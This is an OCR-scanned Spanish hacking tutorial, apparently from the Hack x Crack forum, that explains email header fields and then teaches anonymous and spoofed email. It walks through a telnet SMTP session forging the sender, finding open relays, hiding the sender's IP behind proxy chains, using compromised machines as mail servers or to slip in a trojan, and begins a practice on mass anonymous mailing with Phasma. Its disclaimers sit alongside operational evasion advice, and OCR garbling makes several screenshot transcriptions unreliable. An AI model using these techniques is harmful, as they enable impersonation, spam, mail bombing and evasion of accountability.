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Estructura de las cabeceras de un mail.

Si sospechas de un mail fraudulento o con “bandera falsa”, es conveniente que antes de que te aborde el
panico, investigues en su cabecera. Muchos programas de correo la ocultan de forma predeterminada, no
puedo explicar el funcionamiento de todos los clientes de correo, vamos a verlo desde Outlook Express:

Selecciona el mail que quieres investigar mas a fondo y en el Meniut Archivo-Propiedades selecciona la
ficha de Detalles, veras algo como lo que sigue:

INVITACION EN CASA DEL LIBRO - PRESE 21l

Geneal Detales |

Encabezados de Intermet para este mensaje:

Received: from comecd. servidaresdns. net (comeod. servidaresd » |
by comen.ctv. ez [2.9.3/8.9.3) with ESMTP id LAAT9S
Fii. 25 Oct 2002 11:38:55 +0200 [MET DST)

Feceived: from Montsep [B0.33. 239 238] by careod. servidores

[SMTPD32-6.08] id AFSEFBR0TES; Fri, 25 Oct 2002 11:31:52

Message-ID: <00F307 c27c09%dbaBB700%1 S00a8c0EM IR LS P

Frarn: *Infor Wirusprot" <infor@yinisprot.com:

Tao: "Montse Pulgar" <mantse(@virusprot.coms

Subject: INWITACION EN CASA DEL LIBRO - PRESENTACION

Date: Fri, 25 Oct 2002 11:31:09 +0200

MIME Aersion: 1.0

Content-Type: multipart/related;
boundary="---=_MextPart_000_00F1_01C27C1A.03F
tupe="mmultipart/alternative'

#=-Priority. 3

=-MS M ail-Priarity: Momal

-Maller: Microzoft Outlook Express B.00.2800.0000

Dizpozition-M otification-To: "Infar Viusprat" ¢infor@viusprot. oo

#<-mime0LE: Produced By Microzoft kime0LE 6. 00. 2600 Dflj

3

< |

Cad. fuente del mensaje...
Cancelar

Para observar con mas detalle las/cabeceras pulsa el boton Cddigo fuente del mensaje, las cabeceras
ofreceran un-aspecto parecido-a este, yo he seleccionado la parte que nos interesa por ahora:

EECURLITY SUITE 4

[cantent -Type
Bounida

Exprese 6002600, 0000

Infar Vi <infordyirusprol . coms
£t MimeOLE V6 .00, 2600. 0000

DE-WIDL: \WBWIT 41 10(*" 1WH,*
[This 13 & multi-part message in RIAE format.

-——m_NoxtPart_000_00F1_01C27CIA. 03FCLO40
e =

Boundarys"----=_HextFart 001 DOF2 01CTTCIA.0IFCIO40*

=meeeem HextPart (01 0OFZ 01C2TCIA. OIFCLOA0
Content-Type: text/plain:
charset="igo-UN59-1"

El contenido del codigo fuente puede ser muy extenso, de momento nos preocuparemos de los siguientes
registros:

Received: En este campo encontraras ¢l o los nombres de los servidores de correo que participaron en la
entrega del mensaje, como si se tratara de un “matasellos” del correo convencional y ademas incluye la
IP del origen, la nuestra y la de todos los Servidores de Correo por las que pasa. IMPORTANTE.

Message-ID: identificador del mensaje del servidor de correo saliente de la persona que lo envia, debe ser
unico para cada mail dentro del mismo servidor.

From: La direccion electronica que indicod el expedidor del mensaje, no tiene por qué coincidir con su
direccion real.
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To: La direccion del destinatario, o sea nosotros. Si no coincide con la nuestra puede ser debido a
multiples factores, para no pensar mal, suponemos que el mail se ha enviado a un grupo de identidad
creado a proposito, de tal forma que el remitente se envia a si mismo el mail y nos llega a nosotros por
que nos ha incluido en esa nueva identidad creada a tal efecto, de esa forma puede enviar multiples
correos indicando una tnica direccion.

Si pensamos mal, puede ser que el correo del servidor estd siendo redirigido a nosotros, que el remitente
tiene un virus que envia cualquier cosa a todos los que tiene en su libreta de direcciones, que esta usando
un remailer, bueno no vamos a pensar nada malo de momento. En el ejemplo de este correo el
destinatario deberia ser mi cuenta de correo y sin embargo aparece otra direccion, precisamente la misma
que lo envia, eso nos hace suponer, y solo suponer, que esta usando un grupo de direcciones dentro de
una identidad creada para enviar mail masivos con el objeto de informar de algo a los miembros.

Date: Fecha y hora en la que se envid el mensaje
Subject: el texto que escribi6 el remitente en la linea de-asunto

MIME versién: Version del estandar Multipart Internet Mail Extension, mediante el cual podremos
enviar un mail en formato HTML o no, y asegurarnos que tiene un formato adecuado, ufff, esto es
complicado de explicar, por ahora piensa que es “algo” que se pone para que el destinatario reciba
correctamente el mensaje o para que se puedan enviar correos con datos binarios (ejecutables que se
convierten a Base64), imagenes, videos, archivos de sonido, etc.

Content-Type: proporciona informacion de las partes que forman el mensaje compuesto por MIME, ya
sé que no te estas enterandode nada, de momento no le prestes mayor atencion, ya se la prestaremos
cuando nos llegue la hora de componer un mail malicioso para explotar algin bug de Outlook o Internet
Explorer.

Todos los registros que comienzan por X son opcionales, pueden existir o no, los mas comunes son:

X-Mailer: Programa o sistema de correo que utilizo el remitente para enviarnos el correo

X-Sender Order 6 X-Authenticated Sender: L.o mismo que From pero mas dificil de falsificar puesto
que es la direccion que anoto el servidor de correo del expedidor y que apenas puede ser manipulada.

X-Authenticated IP: Informa de la direccion IP de la red interna del ordenador que emitié el mensaje,
figurara si el equipo desde el que se nos envia el mail forma parte de una red y si los servicios de correo
de la misma estan asi configurados

X-Priority 6 X-MSPriority: Prioridad del mensaje, alta, normal, etc.

Si la cabecera X-Sender no coincide con From indicard que el remitente no estd usando su verdadera
direccion mail

Si la Gltima cabecera Received que figura al final del codigo fuente no coincide la direccion del remitente
es otro aviso de que la direccion del mismo no es correcta.

Aunque estas disparidades no tienen por qué ser sintomas de un correo fraudulento, si sospechamos del
mismo y esas comparaciones no coinciden hay que mosquearse, al menos averiguaremos la direccion del
servidor de correo que se esta utilizando y podremos dirigirnos al responsable correspondiente.

Una falsificacion profesional del mail no puede ser descubierta de este modo, por eso es profesional, por
ahora ya es suficiente, al menos empezamos a entender todos esos nombres “raros” que aparecen en los
mail que recibimos, nos sera de gran ayuda en las practicas de este capitulo.
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Correos Falsificados

Seguramente habras caido en la tentacion alguna vez de enviar un mail a alguien haciéndote pasar por
otra persona, para gastar una inocente broma o para fastidiar realmente a “ese tipo”.

Si en el correo convencional puedo simplemente omitir el remitente o poner que soy “La Pantera Rosa” y
vivo en la Luna, {Por qué no puedo hacerlo con el correo electronico?

Bien, si se puede, pero antes de seguir: Recapacita, piensa bien lo que le vas a poner o enviar, puede ser
un delito, no digamos nada si te “haces pasar” por otro y te descubren, te pueden fundir.

El problema es que cuando envias un mail, el servidor de correo saliente pone en la cabecera del correo la
verdadera direccion del que lo envia, ademas los programas: de correo convencionales insertan
automaticamente nuestra direccion como remitente y la IP de conexidn, por lo tanto no basta con indicar
otra direccion en el programa de correo, puesto que el servidor “colocard”-la nuestra realmente, como
mucho ese truco engafiard a un principiante, si abre el cddigo fuente del mensaje vera la direccion
verdadera y te descubrira.

Para enviar e-mail, anonimos o con otra direccion, sin dejar huellas se puedes utilizar varios métodos,
vamos a enumerar unos pocos:

Programas o servidores Remailer

Utilidades que falsifiquen la direccion real, hoy en dia practicamente ya no es posible pues es el

propio servidor de correo quien “pone” la IP.

3. Enviar un correo mediante un Servidor Web, no, no estoy hablando de utilizar un servicio

Webmail, me refiero a enviar una peticion “trucada” a un servidor web (que no tiene por qué ser

también un servidor de correo) 0 mejor a un Proxy anénimo, para que éste a su vez lo reenvie

(sin saberlo) a un servidor SMTP que le indiquemos, con esto conseguimos que en la cabecera

Received el destinatario vera/que el origen del correo es el Servidor Web/Proxy que usamos, si

ademas nos escondimos tras algunos proxys para conectarnos el Web Server, serd bastante

complicado que nos encuentren

También podemos anonimizar nuestra IP, aunque no conseguiremos cambiar Received

Otra posibilidad sera la de hacer lo mismo que en el tercer punto pero a través de un servidor FTP

Otra técnica simple seria encontrar un Servidor SMTP que admita Relay (ya explicaremos qué es

eso mas adelante) y si ademas no guarda logs y no muestra la IP, LA LECHE!

7. Podriamos usar “otra maquina” en medio, son los llamados ataques MITM (Men In The Middle,
Hombre en medio) lo cual nos obligard a primero “asaltar” una tercera victima para usar su
conexion y cuenta de correo saliente (como hacen los virus/gusanos que se envian a si mismos a
todos los que figuran en la Libreta de Direcciones del infectado)

8. Otra modalidad de envios mediante la técnica de hombre en medio seria redireccionar los servicios

de la maquina que esta en medio hacia el servidor de correo que queremos que nos envie el mail.

N —

SR e

u A £ , ue v ufici z
Seguramente habra otros muchos métodos, pero con estos creo que van a ser suficientes para empezar
“practicar”.

Los remailers son algo asi como los Proxys an6nimos, son bastante fiables pero no abuses de ellos
porque puedes tener problemas, si el operador o administrador del remailer sospecha que lo estas
utilizando para actividades delictivas puede averiguar a través de sus archivos de registro tu direccion
verdadera.

Los servicios de remailer se pensaron para otros fines, por ejemplo evitar que determinadas personas no
tengan que darse a conocer cuando participan en ciertos foros, es como lo de la identidad oculta de los
mdviles, pero el administrador del remailer siempre conocera quienes somos, en este documento no
tratremos nada acerca de los remailrer, no tienes mas que buscar por google y encontraras cientos de
servicios de ese tipo.
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Servidores de Correo v Open Relay

Logicamente para poder enviar y recibir correos electronicos debemos disponer de Servidores que
“encaminen” nuestros e-mail a sus destinatarios, o de éstos a nosotros.

Para realizar las funciones de Servidores de Correo existen bastantes aplicaciones, lo normal es que los
Servicios de correo nos los suministre nuestro ISP al contratar el acceso a Internet, aunque perfectamente
puedes instalar y configurar tus propios servidores de correo para Internet o para la Red local.

Los servidores de correo utilizan distintos protocolos, entre los mas conocidos estan:

POP 6 POP3: Para servicios de correo entrante, correo que otras personas nos‘envian
SMTP ¢ SMTP3: Para Servicios de correo saliente, correoque enviamos a otras personas

Existen otros IMAP, Webmail, etc.
Los problemas de seguridad y ataques frecuentes a los servidores de correo son:

e  Obtener el fichero de clientes (usuarios y contraseflas) mediante agujeros de seguridad descubiertos
e  Ataques DoS para agotar la capacidad de disco
e E-mail Bombing

El motivo de incluir este apartado en esta documentacion es porque hay que hacer una mencion especial a
los Servidores de Correo anonimos, al igual que existen Proxys anonimos que ocultan la IP de
navegacion, es posible encontrar Servidores de Correo anonimos que ocultan la [P y permiten el envio de
correo: falsificado, verdadero, anonimo o las tres cosas.

Desde luego si alguien quiere sabotearnos mediante el correo electronico lo normal es que utilice este tipo
de servicios, incluso se puede configurar su propio servidor mail anénimo aunque para ello tendra que
invertir algo de dinero para registrarlo en la Red, Software, etc. Casi siempre se recurrird a alguno de los
Servidores an6nimos presentes’en la red para ese tipo de fechorias.

No olvides una cosa, falsificar un e-mail es suplantar la identidad de una persona que no somos, si
firmamos un mail con la identidad de otro y “fe pasas” puedes acabar con tus huesos en la carcel o con
sanciones muy importantes.

Por otra parte y con la entrada de la LSSI en Espafia, enviar mas de TRES CORREOS sin permiso
expreso del destinatario puede constituir un delito, no digamos nada si ademas suplantas la identidad de
otra persona o lo usas para distribuir virus, troyanos, etc. ADVERTIDO. CUIDADO.

Los servidores de correo REGISTRAN todo lo que le envias (hasta los errores que comentes cuando usas
telnet y te equivocas y en lugar de poner rept fo:, pones rptc fo:, lo guardan en sus logs, y ahora estan
obligados por ley a guardar esos logs DURANTE ANOS.

Seguro que la Revista tarde o temprano nos ensefiara a configurar un servidor de correo, si no lo hace ya
lo haremos nosotros, entonces descubriras que todo aquél que envia un mail desde nuestro servidor queda
logeado.

Ninguno de nuestros ISP nos permitira el envio de correos anénimos, para ello comparan que el servidor
saliente y entrante que utiliza el usuario pertenece al mismo proveedor que suministra el acceso a Internet.

De este modo un usuario puede recibir el correo de cualquier otro proveedor o de otra cuenta que
disponga de correo, pero solo puede enviar mensajes si utiliza el servidor suministrado por el ISP con el
que ha realizado la conexion,
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Ejemplo
Usuario que contrata un acceso a Internet con Terra y los servidores de correo son:

SMTP: mailhost.terra.es
POP3: pop3.terra.es

El mismo usuario tiene contratado otro acceso con wanadoo y los servidores de correo son:

SMTP: smtp.wanadoo.es
POP3: pop.wananoo.es

Cuando el usuario utiliza la conexion a Internet de Terra:

Puede recibir el correo de todas las cuentas pop3 configuradas (terra y/o wanadoo)
Solo puede enviar correo si utiliza el servidor smip de terra,

Cuando el usuario utiliza la conexion a Internet de wanadoo

Puede recibir el correo de todas las cuentas pop3 configuradas (terra y/o wanadoo)
Solo puede enviar correo si utiliza el servidor smtp de wanadoo.

Ademas es muy frecuente que el Servidor de Correo que nos suministra nuestro ISP o red Local, verifique
el campo FROM, de tal forma que aunque usemos nuestra conexion, nuestro servidor y nuestra IP real, si
el remitente no existe (es decir, ponemos que el mail lo envia pepe@elmaestro.kk ) el correo no se
enviara, puesto que ese origen no existe o simplemente no lo permite el Servidor.

Por si fuera poco, los Servidores de Correo actuales, consultan las “listas negras” publicadas en diferentes
bases de datos publicas que detectan los mails fraudulentos, de manera que si usamos uno de esas
direcciones tampoco se enviara nuestro correo.

Ante este tipo de situaciones s6lo nos queda utilizar servidores salientes anéonimos o que no tengan en
cuenta lo expresado anteriormente,

Aunque parezca obvio, se puede utilizar un servidor SMTP an6nimo para enviar correos con nuestra
verdadera identidad, por ello también es interesante que los conozcas, puesto que si un dia te encuentras
ante el hecho de tener que enviar un mail a toda costa y tu servidor de correo no funciona o tiene
problemas, lo puedes hacer mediante este sistema.

Cuando podemos enviar un correo mediante un servidor al que no pertenecemos como clientes, no
estamos registrados en el mismo'y/o no pertenecemos al dominio o rangos de IP admitidas, se dice que
ese servidor de correo admite Relay, luego una de las “cosas” que debemos hacer para usarlos es
encontrar ese tipo de servidores.
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PRACTICA 1. Enviar mail anénimo usando telnet y Listado de OPEN RELAY

Todos ya conocéis el programa Telnet, la Revista nos lo ha mostrado en éste ultimo ntimero. Ciertamente
es una de esas utilidades que vienen con el Sistema Operativo y que a nadie le gusta porque carece de
entorno grafico y normalmente hay que escribir todo lo que se desea hacer en lugar de coger el raton y
empezar a hacer clic por todas las ventanas y controles que vemos.

Quiza esta sea la razon por la que todo el mundo se olvida de que existe la aplicacion Telnet; no tiene
dibujitos, sonidos, ni nada de eso que a todos los usuarios de Windows nos gusta, quienes tengais
experiencia en Unix o Linux estaréis mas acostumbrados a olvidar el entorno grafico y no os suponga un
trauma dejar a un lado las ventanitas...

Bueno a lo que vamos, Telnet es un programa que se usa para conectarse a otro ordenador a través de un
puerto. Hasta Windows 2000 dispone de una aplicacion que se puede configurar como Servidor Telnet,
muchos routers, Firewalls, switches, etc. pueden utilizar la’conexion telnet para su configuracion, aunque
casi todos optamos por otro tipo de accesos (SNMP, HTTP, etc.) que siempre son mas vistosas.

Telnet utiliza por defecto el puerto 23 para conectarse a Servidores Telnet, cuando en nuestro navegador
ponemos esos de http://hackxcrack.com estamos indicando a /E que acceda a un servidor por el puerto
80 y que nos muestre esa informacion dentro de la pantalla del navegador.

({Quiere decir esto que podemos usar cualquier puerto, cualquier protocolo y cualquier aplicacion?

SI. Lo que pasa es que, si a nuestro Servidor de paginas Web le ponemos a escuchar peticiones de paginas
por el puerto 4590, soélo las personas que lo sepan podrian conectarse a ¢l usando
http://www.hackxcrack.com:4590

(Quiere decir esto que podemos usar cualquier aplicacion para conectarnos a un servidor a través de un
puerto?

SI. Es perfectamente posible lo siguiente: telnet www.hackxcrack.com 80, lo que ocurre es que por la
“pantallita” del telnet no podemos ver la pagina web solicitada, por lo menos los contenidos activos,
multimedia, etc. de la misma, pero si lo pruebas veras que la conexion se establece sin problemas, aunque
no “sale” nada. /Y si pulsas 2 veces enter qué pasa? ;y si escribes GET / HTTP /1.0 qué pasa?. Prueba y
piensa.

Que me perdonen los entendidos por explicar esto asi, ya sé que no siempre se puede, que no todo son
puertos, aplicaciones y protocolos, pero seguro que el que no tenga ni idea de ello lo ha entendido
perfectamente.

Los servidores de correo utilizan los puertos 110y 25 para que podamos recibir y enviar nuestros correos
electronicos utilizando los protocolos POP/POP3 y SMTP respectivamente. Como el correo puede utilizar
muchos objetos, archivos adjuntos, sonidos, letc., y ademas queremos gestionar una agenda, bandejas de
correo, etc., utilizamos un programa para el envio o la recepcion de los mismos, en el caso de Windows
lo normal es usar Qutlook o Outlook Express.

Cuando usamos ese tipo de aplicaciones, indicamos a las mismas nuestra direccion mail y los servidores
de entrada y salida que queremos usar, de forma que cuando enviamos un correo, siempre se incluye
nuestra direccion mail en la misma.

El arte de la chapuza puede estar en indicar una direccion de correo inexistente en el momento de crear
la cuenta de correo en Outlook, por ejemplo et@micasa.es para que cuando enviemos un mail a nuestros
amigos, conocidos o colaboradores reciban ésta direccion en lugar de la real. Este mal paso por llamarlo
de alguna manera, es facilmente detectable si el destinatario edita las cabeceras del mail y examina el
campo Received, tal como se explicod anteriormente.
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Por otra parte, es muy probable que ni siquiera el mail falsificado de esa forma llegue a su destino, por lo
del Relay, si el servidor de correo es, por ejemplo wanadoo.es, el mail sera rechazado puesto que el
dominio micasa.es no pertenece a wanadoo, ni tampoco pertenece al ISP con el que estableciste la
conexion a Internet, todo depende de si el administrador del Servidor de Correo que usas permite o no
este tipo de envios.

Vamos a usar telnet para enviar un mail verdadero (es decir cumpliendo las reglas del proveedor) para
aprender como debemos utilizar los comandos SMTP, para ello vamos a suponer que nuestro verdadero
servidor de correo saliente es mailhost.terra.es, que nuestra direccion mail es micorreo@terra.es y que la
direccion mail del destinatario es miempresa@ctv.es, s0lo tienes que_sustituir el servidor smtp y tu
direccion mail por las mias.

También necesitaremos conocer el conjunto de comandos vdlidos para smtp, aunque hay mas de los que
pongo a continuacion, con estos sera suficiente:

HELO 6 EHLO-> Saludar al kost remoto

MAIL FROM: - Direccion mail desde la que enviamos el mensaje, la nuestra.
RCPT TO: - Direccion mail del destinatario, a quien deseamos enviar el correo.
DATA - Texto del mensaje a enviar

No se te olvide poner los dos puntos (:) después de From y To, o no funcionara.

En la Revista n° 8 ya se ha explicado correctamente cada uno de ellos, incluso la autentificacion, repasa lo
que se expuso en la misma antes de continuar con éste texto.

En muchos terminales telnet, cuando borramos un caracter y ponemos otro, porque nos equivocamos al
escribir, el mandato no funciona aunque en la pantalla se vea bien escrito, ya sabes NO TE
EQUIVOQUES al escribir o tendras/que teclear de nuevo el comando.

No todas las versiones de telnet son iguales, yo voy a usar la que viene instalada con Windows 2000, si
usas 9x u otro cliente telnet con pocos cambios haras lo mismo.

Antes de empezar, veamos que comandos acepta telnet, para ello desde Inicio-Ejecutar escribe telnet y
luego la palabra help en la ventana que se te haya mostrado

TNNTYSystem3:

icrosoft (R> L 2088 (TM> versidn S.Bﬁ (Compilacidon 21952
Cliente Telnet de Microsoft
Cliente Telnet Build 5.88.99281 .1

El cardcter de escape es "CTRL++"
Microsoft Telnet> help
Los comandos se puede abreviar. Los comandos permitidos son:

la conexidn actual
ra los parametros de visualizacidn
arse a un sitio
salir de telnet
estabhlecer opciones {escriba ’set ?’ para mostrar listad
~ibe la informacidén de estado
tivar opciones (escriba ‘unset 7' para mostrar listad
mu ra informacidn de ayuda
Microsoft Telnet>

Escribe en la pantalla telnet:

Set local_echo
Set term vt100

Ahora ya tenemos configurado correctamente el programa telnet para conectarnos a cualquier sost que lo
permita, solo nos falta crear la conexion.

Coémo Enviar Mail Anénimos. Edicion Especial. Foro HxC Autor: Vic_Thor



Coémo Enviar Mail Anénimos Edicion Especial. Foro HxC

Teclea lo siguiente:

Open mailhost.terra.es 25
Si todo va bien conseguiremos la conexion con el servidor smtp y nos enviara algo parecido a esto:
220 transition.my.com ESMTP Sendmail 8.11.6/8.11.6; Fri, 15 Nov 2002 01:47:08 +0100
Observa que después de la orden open y nombre del servidor, se indico el puerto de conexion. 25
Escribimos: HELO localhost
Recibimos: 220 transition.my.com Hello 193-152-xxx-xxx uc.nombres.ttd.es [193.152.xxx.xxx]
Como verés el servidor nos saluda y nos muestra NUESTRA DIRECCION IP (se ha ocultado con xxx)
Escribimos: MAIL FROM:micuenta@terra.es
Recibimos: 250 <micuenta@terra.es> SENDER OK
Escribimos: RCPT TO:destino@ctv.es
Recibimos: 250 RECIPIENT destino@ctv.es OK
Escribimos: DATA
Recibimos: 354 Send data ending with <CTRLF>.<CTRLF>

Escribimos: Hola, aqui estamos; enviando mail por Telnet. Bye.
[}

Recibimos: Message Received: HSLSGEE00.D1W
Escribimos: quit
A saber:

Los mensajes recibidos desde el servidor pueden cambiar (depende del servidor y de su
configuracién), lo que debe ser idéntico son los nimeros que los preceden (250, 354, ...)

Una vez terminado de escribir el texto del mensaje después del comando DATA debemos terminar
con un punto (.) como unico caracter de la linea, en el ejemplo he puesto un punto muy gordo para
que lo veas.

Podemos escribir en mintisculas o mayusculas, es indiferente.

Bueno no es muy elegante pero FUNCIONA, podemos enriquecer un poco el mensaje, por ejemplo
después de escribir DATA y pulsar enter podriamos haber escrito esto en su lugar:

FROM:micuenta@terra.es
SUBJECT:Prueba de correo por Telnet
Aqui va el texto del mensaje, bla, bla, bla, ....

Incluso podemos adjuntar archivos, solicitar respuestas, establecer prioridades, etc. pero para eso ya
tenemos Outlook ¢no?, si deseas mas informacion acerca de los comandos de conexion a servidores smtp,

este es un enlace bueno y claro que lo explica, y/o también mira el RFC correspondiente.

http://gsyc.escet.urjc.es/docencia/asignaturas/ral-00-01/transpas/smtp.pdf

http://www.fags.org/rfcs/rfc821.html
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¢ Qué pasaria si hubiésemos enviado esto?

Escribimos: HELO QuepasasoyET

Recibiremos: 220 transition.my.com Hello 193-152-151-115.uc.nombres.ttd.es [193.152.xxx.xxx]
Escribimos: MAIL FROM:et@micasa.net

Recibimos: 250 <et@micasa.net> SENDER OK

Escribimos: RCPT TO:destino@ctv.es

Recibimos: 250 RECIPIENT destino@ctv.es OK

Escribimos: DATA

Recibimos: 354 Send data ending with <CTRLF>.<CTRLF>

Escribimos: Hola, aqui estamos, enviando mail desde Marte, por Telnet. Bye.
°

Recibimos: Message Received: HSLSGEE00.D1W
Escribimos: quit

Pues efectivamente, SE. ENVIA CORRECTAMENTE vy el destinatario recibira un MAIL de
ET@micasa.net, aunque si examina las-cabeceras del correo descubrird la IP o en su defecto el servidor
real del correo, sabra que se enviéo desde TERRA 1y si en lugar de este simpatico mensaje y remitente, fe
pasas, y adviertes de una inspeccion de hacienda a tu jefe y lo firmas como la agencia tributaria, te puedes
jugar el puesto'de trabajo si la broma no le gusta, no te quiero decir nada si‘lo que envias son amenazas,
chantajes u otro tipo de burradas, vamos que lo tinico que has falsificado es el remitente que mostrara
Outlook al recibir el mensaje, para lamercillos.

Ademas, tiene algo de truco. Por que si en lugar de utilizar el servidor de Terra (que en el ejemplo es el
mismo que se usé en la conexion) utilizamos otro cualquiera (por ejemplo smtp2.ya.com), cuando se
escribe la linea:

RCPT TO:destino@ctyv.es

Recibiremos: 550 Relaying to <destino@ctv.es>prohibited by administrator o We don’t Relay o
algo parecido
JPor qué?

Por lo explicado en varias ocasiones anteriormente, la IP o ¢l dominio de conexidon no pertenece al
servidor de correo usado, ni por supuesto la direccion et@micasa.net es valida para el mismo.

Por tanto, no podemos enviar correos “falsificados” o sin falsificar mediante servidores que autentifican
la cuenta POP del usuario que accede al servidor SMTP, de lo contrario cualquiera podria usarlo para
“abusar” del envio de correos, ademas por supuesto, el servidor registra TODAS las conexiones, con lo
que si envias 5.000 correos a alguien te descubriran al instante.

Hasta hace poco tiempo casi todos los servidores de correo permitian el envio de correos sin verificar
todo lo dicho anteriormente, pero debido al “gran éxito” de los SPAM y mail bombing se tomaron las
medidas pertinentes.

Entonces, ;No es posible?. Claro que si. Lo tUnico que necesitamos es encontrar un servidor que lo
permita, 0 montarnos uno propio, y ocultar la IP como aprendimos en niimeros anteriores de la revista,
afiadiendo el programa telnet.exe a la ventana de SocksCap para que cuando se establezca la conexion via
telnet se haga a través de la cadena de Proxys anonimos que tengamos configurados en SocksChain.
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Enviar correos a través de Proxys no suele funcionar a menudo, casi siempre el Proxy nos rechaza el
envio y otras (dependiendo del SO) el programa telnet no se puede anonimizar.

Para encontrar un servidor que permita OPEN RELAY (este es el nombre técnico de lo que buscamos)
podemos usar un Remailer desde la Web o mediante alguna aplicacion como Private Idaho.

Fijate que es importante esconder la IP antes de utilizar el “servidor de correo anonimo” porque’ estos
servidores lo unico que hacen es cambiar las cabeceras del correo por “ofras suyas” pero no te-quepa la
menor duda que guardardn el registro de tu IP durante ajios, si alguna autoridad lo solicita y te buscan,
te encontrardn tarde o temprano. Si fuiste precavido y te escondiste desde unos cuantos Proxys, sera mas
tarde que temprano (puede que nunca), a menos que fe pases tres pueblos con el destinatario.

Bueno, solo me hace falta encontrar “ese servidor”

Si te cuento esto no es para que empieces a buscar por Internet como un loco y enviar cientos de e-mail a
todos los que te caen mal, te lo digo, por que es perfectamente posible que te “cuelen” un servidor smtp
en tu red (o un virus que use su propio motor SMTP), en tu PC, en tu mismo servidor y que lo usen para
abusar del envio de correo, mail bombing, actividades delictivas (pornografia infantil, terrorismo, etc) sin
que te des cuenta, de forma que cuando la policia busque y encuentre a alguien, ése SERAS TU. ;A que
ahora ya no te parece tan “divertido” y estas pensando lo que se te puede venir encima?

Seguro que estas pensando..., ja! Como que me van a poder instalar .a mi un Servidor de Correo, que te
piensas que me van a meter 12 megas y encima seré tan burro de instalarlo.

Pues fijate bien, La revista nimero 7 nos ensefid un programa que no muchos le habéis prestado la
atencion que se merece, el CCProxy. Con éste programa podemos (0 nos pueden) troyanizar el equipo
para que sirva como proxy, de tal forma que se pueda “navegar’” usando nuestra IP.

Pues con alglin “retoque” el mismo/CCProxy lo podemos convertir en un remailer anénimo para usarlo a
nuestro gusto,ya te preocupas.....

PREOCUPATE MAS TODAVIA, hay programas de 13 K que pueden hacer eso mismo , acabas de
descubrir LOS BOUNCERS. ;Que no conoces ninguno?, seguro que si, haz memoria...., el mismisimo
netcat puede ser usado con alguna habilidad para esto mismo!!!

(Dénde voy a parar?
P . 3 (13 M 99 . 4 . (13 M

ues que sin duda, los mejores “‘remailer” y servidores de correo anénimo, son “los que uno mismo se
fabrica”, esto es, que otra maquina caiga bajo nuestro control para usarla como servidor de correo, asi nos

evitamos logs, censuras, etc.

Vale, como todavia esto no lo sabemos hacer, nos vamos a conformar con usar lo que ya hay, de
momento....
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Una de las mejores listas de servidores que admiten OPEN RELAY y que cambiaran las cabeceras de los
correos enviados la encontraras en: http:/www.openrelaycheck.com/orc/openrelaylist.asp esta lista se
actualiza DIARIAMENTE, si quieres disponer de la lista completa hay que hacerse miembro, esto
supone unos 308 CADA MES.

11t Dk s - Scnant Intemet {xplorer propercionads por Servas Teculog =it x|

roepre———. [ @ ]
dentris = % - @ [F 3| Dviaes [Ereortes (Pt | e O e (5] A N A
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Como veras, no se muestran las direcciones completas, eso es solo para “abonados”, si te conformas con
algunos menos, pulsa sobre en emnlace Next >> de esta misma pagina, entonces se mostraran los
servidores OPEN RELAY madas anticuados
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Muchos ISP consultan las listas OPEN RELAY y actualizan sus Firewalls con estas direcciones para
impedir la entrada o salida de corteos que usen las-mismas.

Muchos de estos servidores OPEN RELAY no funcionan todo el dia, hay algunos que dejan de funcionar
a las pocas horas de ponerse en funcionamiento o los admin. Son advertidos de sus errores y “cierran” el
Relay.

No todos estos servidores son anonimos, si usas alguno, antes de nada enviate correo a ti mismo para
verificarlo.

Yo no me fiaria NADA de la inocencia de estos servidores, no los uses para la recepcion-envio de tus
correos “sanos”, guarden o no guarden los “logs”, utilices o no utilices IP anénima, no te quepa la mas
minima duda que si al operador del servidor se le antoja leer tu correo lo hara, incluso lo puede
manipularlo, enviarlo a otra direccion ademas de la que tu pusiste, bufff.

Bueno también pueden hacer esto nuestros ISP, ;verdad?, Pues claro, pero se les supone
“comprometidos” con quien les paga, tienen un compromiso econémico y moral con el cliente ;no?

Aun asi si te empefias en usar remailers, Open Relay, etc., utiliza programas de encriptacion de correo
como PGP.
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Para terminar, una vez descubiertos los OPEN RELAY, también podemos usar ese servidor dentro de
nuestro Outlook y olvidarnos de Telnet, no se te olvide que los destinatarios no podran contestar a tu
direccion si la falseas, bueno la verdad es que si se puede, incluso sin que el usuario se entere, pero esa es
otra guerra que si que se escapa al contenido de este texto, investiga, piensa, estudia (mucho) y suerte.

Private Idaho es mas que un remailer, utiliza PGP, puede usar mas de un servidor andénimo de correo a
la vez, encadenandolos como hacia SocksChain con los Proxys, puede comprobar el estado de esos
servidores, su velocidad, la fiabilidad de los envios, examina cabeceras, las exporta, importa, permite
navegar por la web anénimamente, etc, etc., etc.

Al finalizar este texto, después de aprender y realizar todas las practicas deberias estar en condiciones de
usarlo y “comprender” su funcionamiento por ti mismo sin dificultades, si no eres capaz, vuelve AL
PRINCIPIO de este documento.

Otra posibilidad es utilizar “herramientas” que descubran servidores con Relay abiertos, es eso posible?,
(de verdad que hay alguien que abre su servidor para que otros lo usen sin restricciones?

Si, ya sabes que Internet es una arquitectura de Red Abierta y que existen entidades, personas, etc. que
ofrecen a los demas sus servicios desinteresadamente, pero eso no quiere decir que no te logeen ni que te
permitan hacer cualquier cosa, si envias 27903 correos a una misma direccion usando uno de éstos
servicios lo menos que te puede pasar es que te afladan a su lista negra y no puedas usarlo jamas, lo
normal es que recibas un aviso (cuanto menos) de que tus actividades no son bien recibidas.

Otra técnica seria escanear un rango de direcciones buscando “esos servicios” en maquinas de usuarios....

Vamos a ver, quiero que-quede una cosa clara, que yo sea el autor de éste documento y que te ensefie a
como hacerlo no quiere decir que comulgue con esos fines, al revés, los detesto y reniego de ellos,
JAMAS he usado ni usaré una méaquina ajena para enviar spam o mail-bombing a otros usuarios, a mi
modo de ver es UNA BAJEZA, lo/que si puede resultar interesante es utilizar esa tercera maquina para
“colar” un troyano o algo parecido/al objetivo real y asi permanecer ocultos... TODO esto debes aplicarlo
en tu propia seguridad, conocer el riesgo te ayudara a evitar el peligro.

Las proximas practicas tratan de todo esto y mas, aplicalas con inteligencia y NUNCA las uses
indiscriminadamente o seras repudiado por la comunidad
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PRATICA 2. Enviar mail anénimos mediante Phasma

En esta practica vamos a enviar un mail anénimo o un bombardeo de ellos mediante un programa llamado
Phasma, que por cierto el solito ya esconde la IP, aunque no te fies. Lo encontraras en:

http://www.8th-wonder.net/dl.asp?id=phasma20f.zip

http://www.8th-wonder.net/dl.asp?id=phasma3000.zip

La version que uso es antigua, ya van por la 3.0 pero seguro que con pocos cambios lograras el mismo
objetivo,

Una vez instalado el programa y antes de ejecutarlo te recomiendo que ocultes la IP tras una cadena de
